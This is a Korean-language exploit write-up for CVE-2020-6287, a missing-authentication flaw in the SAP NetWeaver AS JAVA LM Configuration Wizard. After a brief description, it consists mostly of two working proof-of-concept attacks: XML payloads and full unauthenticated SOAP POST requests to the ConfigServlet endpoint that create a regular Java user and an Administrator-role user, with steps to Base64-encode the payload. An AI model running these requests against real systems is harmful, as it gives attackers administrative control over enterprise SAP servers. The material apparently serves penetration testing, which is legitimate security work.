
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM 구성 마법사) 인증 우회 (단순 및 관리자 Java 사용자 생성)
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM 구성 마법사) 인증 우회 (일반 및 관리자 Java 사용자 생성)
SAP NetWeaver는 SAP Business Suite 이후 모든 SAP 애플리케이션의 기술적 기반이 되는 SAP의 통합 기술 플랫폼입니다. SAP NetWeaver는 SAP 애플리케이션을 위한 개발 및 실행 환경을 제공하는 서비스 지향형 애플리케이션 및 통합 플랫폼으로, 맞춤형 개발과 다른 애플리케이션 및 시스템과의 통합에도 사용할 수 있습니다. SAP NetWeaver AS JAVA(LM 구성 마법사) 버전 7.30, 7.31, 7.40, 7.50은 인증 검사를 수행하지 않으므로, 사전 인증 없이도 공격자가 구성 작업을 실행하여 SAP Java 시스템에 대해 관리자 사용자 생성 기능을 포함한 중요한 작업을 수행할 수 있습니다. 이로 인해 시스템의 기밀성, 무결성 및 가용성이 손상되며, 인증 검사 누락으로 이어집니다.
GET /CTCWebService/CTCWebServiceBean?wsdlProof of Concept (PoC) 1로 이동Proof of Concept (PoC) 2CVE-2020-6286 저장소를 확인하세요Proof of Concept (PoC) 1: 일반 Java 사용자 생성
페이로드
<root>
<user>
<JavaOrABAP>java</JavaOrABAP>
<username>pentestuser</username>
<password>v3rystr0ngp@ssw0rd</password>
<userType></userType>
</user>
</root>
위 페이로드를 Base64로 인코딩하여 아래 요청의 <BASE64_ENCODED_PAYLOAD_HERE> 필드에 삽입하세요
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>
Proof of Concept (PoC) 2: 관리자 Java 사용자 생성
페이로드
<PCK>
<Usermanagement>
<SAP_XI_PCK_CONFIG>
<roleName>Administrator</roleName>
</SAP_XI_PCK_CONFIG>
<SAP_XI_PCK_COMMUNICATION>
<roleName>ThisIsRnd9326</roleName>
</SAP_XI_PCK_COMMUNICATION>
<SAP_XI_PCK_MONITOR>
<roleName>ThisIsRnd5031</roleName>
</SAP_XI_PCK_MONITOR>
<SAP_XI_PCK_ADMIN>
<roleName>ThisIsRnd9846</roleName>
</SAP_XI_PCK_ADMIN>
<PCKUser>
<userName secure="true">pentestuser</userName>
<password secure="true">v3rystr0ngp@ssw0rd</password>
</PCKUser>
<PCKReceiver>
<userName>ThisIsRnd6461</userName>
<password secure="true">ThisIsRnd5525</password>
</PCKReceiver>
<PCKMonitor>
<userName>ThisIsRnd9457</userName>
<password secure="true">ThisIsRnd9037</password>
</PCKMonitor>
<PCKAdmin>
<userName>ThisIsRnd8386</userName>
<password secure="true">ThisIsRnd8477</password>
</PCKAdmin>
</Usermanagement>
</PCK>
위 페이로드를 Base64로 인코딩하여 아래 요청의 <BASE64_ENCODED_PAYLOAD_HERE> 필드에 삽입하세요
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>